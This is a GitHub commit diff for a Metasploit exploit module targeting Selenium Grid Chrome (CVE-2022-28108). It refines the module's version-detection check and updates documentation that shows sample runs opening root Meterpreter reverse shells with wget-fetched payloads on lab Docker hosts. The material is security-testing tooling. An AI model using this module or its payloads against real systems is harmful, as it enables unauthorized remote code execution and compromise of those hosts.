Skip to content

Commit bbc282e

Browse files
committed
Improve check
1 parent 86bd1c2 commit bbc282e

File tree

2 files changed

+25
-13
lines changed

2 files changed

+25
-13
lines changed

documentation/modules/exploit/linux/http/selenium_greed_chrome_rce_cve_2022_28108.md

Lines changed: 9 additions & 9 deletions
Original file line numberDiff line numberDiff line change
@@ -56,7 +56,7 @@ Payload options (cmd/linux/http/x64/meterpreter_reverse_tcp):
5656
---- --------------- -------- -----------
5757
FETCH_COMMAND WGET yes Command to fetch payload (Accepted: CURL, FTP, TFTP, TNFTP, WGET)
5858
FETCH_DELETE true yes Attempt to delete the binary after execution
59-
FETCH_FILENAME jcInmtImuA no Name to use on remote system when storing payload; cannot contain spaces or slashes
59+
FETCH_FILENAME OmbNmrIU no Name to use on remote system when storing payload; cannot contain spaces or slashes
6060
FETCH_SRVHOST no Local IP to use for serving payload
6161
FETCH_SRVPORT 8080 yes Local port to use for serving payload
6262
FETCH_URIPATH no Local URI to use for serving payload
@@ -75,16 +75,16 @@ Exploit target:
7575
7676
View the full module info with the info, or info -d command.
7777
78-
msf6 exploit(linux/http/selenium_greed_chrome_rce_cve_2022_28108) > run lhost=192.168.56.1 rhost=192.168.56.16 rport=4444 ForceExploit=true
78+
msf6 exploit(linux/http/selenium_greed_chrome_rce_cve_2022_28108) > run lhost=192.168.56.1 rhost=192.168.56.16 rport=4444
7979
[*] Started reverse TCP handler on 192.168.56.1:4444
8080
[*] Running automatic check ("set AutoCheck false" to disable)
81-
[+] The target appears to be vulnerable. Version 3.141.59 detected, which is vulnerable
82-
[*] Meterpreter session 1 opened (192.168.56.1:4444 -> 192.168.56.16:46564) at 2024-12-29 12:14:52 +0900
81+
[+] The target appears to be vulnerable. Version 3.141.59 detected, which is vulnerable.
82+
[*] Meterpreter session 1 opened (192.168.56.1:4444 -> 192.168.56.16:40990) at 2024-12-30 13:33:31 +0900
8383
8484
meterpreter > getuid
8585
Server username: root
8686
meterpreter > sysinfo
87-
Computer : 172.17.0.4
87+
Computer : 172.17.0.5
8888
OS : Ubuntu 20.04 (Linux 6.8.0-51-generic)
8989
Architecture : x64
9090
BuildTuple : x86_64-linux-musl
@@ -94,16 +94,16 @@ meterpreter >
9494

9595
### selenium/standalone-chrome:4.0.0-alpha-6-20200730 installed with Docker on Ubuntu 24.04
9696
```
97-
msf6 exploit(linux/http/selenium_greed_chrome_rce_cve_2022_28108) > run lhost=192.168.56.1 rhost=192.168.56.16 rport=4447 ForceExploit=true
97+
msf6 exploit(linux/http/selenium_greed_chrome_rce_cve_2022_28108) > run lhost=192.168.56.1 rhost=192.168.56.16 rport=4447
9898
[*] Started reverse TCP handler on 192.168.56.1:4444
9999
[*] Running automatic check ("set AutoCheck false" to disable)
100-
[!] Cannot reliably check exploitability. ForceExploit is enabled, proceeding with exploitation.
101-
[*] Meterpreter session 2 opened (192.168.56.1:4444 -> 192.168.56.16:59162) at 2024-12-29 12:15:49 +0900
100+
[!] The service is running, but could not be validated. Selenium Grid version 4.x detected.
101+
[*] Meterpreter session 2 opened (192.168.56.1:4444 -> 192.168.56.16:34888) at 2024-12-30 13:34:30 +0900
102102
103103
meterpreter > getuid
104104
Server username: root
105105
meterpreter > sysinfo
106-
Computer : 172.17.0.5
106+
Computer : 172.17.0.6
107107
OS : Ubuntu 18.04 (Linux 6.8.0-51-generic)
108108
Architecture : x64
109109
BuildTuple : x86_64-linux-musl

modules/exploits/linux/http/selenium_greed_chrome_rce_cve_2022_28108.rb

Lines changed: 16 additions & 4 deletions
Original file line numberDiff line numberDiff line change
@@ -68,7 +68,19 @@ def check
6868
'method' => 'GET',
6969
'uri' => normalize_uri(target_uri.path)
7070
})
71-
return Exploit::CheckCode::Unknown unless res&.code == 200
71+
if res&.code != 200
72+
res = send_request_cgi({
73+
'method' => 'GET',
74+
'uri' => normalize_uri(target_uri.path, 'status')
75+
})
76+
if res && res.get_json_document && res.get_json_document.include?('value') &&
77+
res.get_json_document['value'].include?('message') &&
78+
res.get_json_document['value']['message'].downcase.include?('selenium grid')
79+
return Exploit::CheckCode::Detected('Selenium Grid version 4.x detected.')
80+
end
81+
82+
return Exploit::CheckCode::Unknown
83+
end
7284

7385
js_code = res.get_html_document.css('script').find { |script| script.text.match(/var json = Object.freeze\('(.*?)'\);/) }
7486
return Exploit::CheckCode::Unknown unless js_code
@@ -80,10 +92,10 @@ def check
8092
# Extract the version
8193
version = Rex::Version.new(json_data['version'])
8294
if version == Rex::Version.new('4.0.0-alpha-7') || Rex::Version.new('4.0.1') <= version
83-
return Exploit::CheckCode::Safe("Version #{version} detected, which is not vulnerable")
95+
return Exploit::CheckCode::Safe("Version #{version} detected, which is not vulnerable.")
8496
end
8597

86-
CheckCode::Appears("Version #{version} detected, which is vulnerable")
98+
CheckCode::Appears("Version #{version} detected, which is vulnerable.")
8799
end
88100

89101
def exploit
@@ -114,7 +126,7 @@ def exploit
114126
'headers' => { 'Content-Type' => 'text/plain' },
115127
'data' => body
116128
})
117-
fail_with(Failure::Unreachable, 'Connection failed') unless res
129+
fail_with(Failure::Unreachable, 'Connection failed.') unless res
118130
end
119131

120132
end

0 commit comments

Comments
 (0)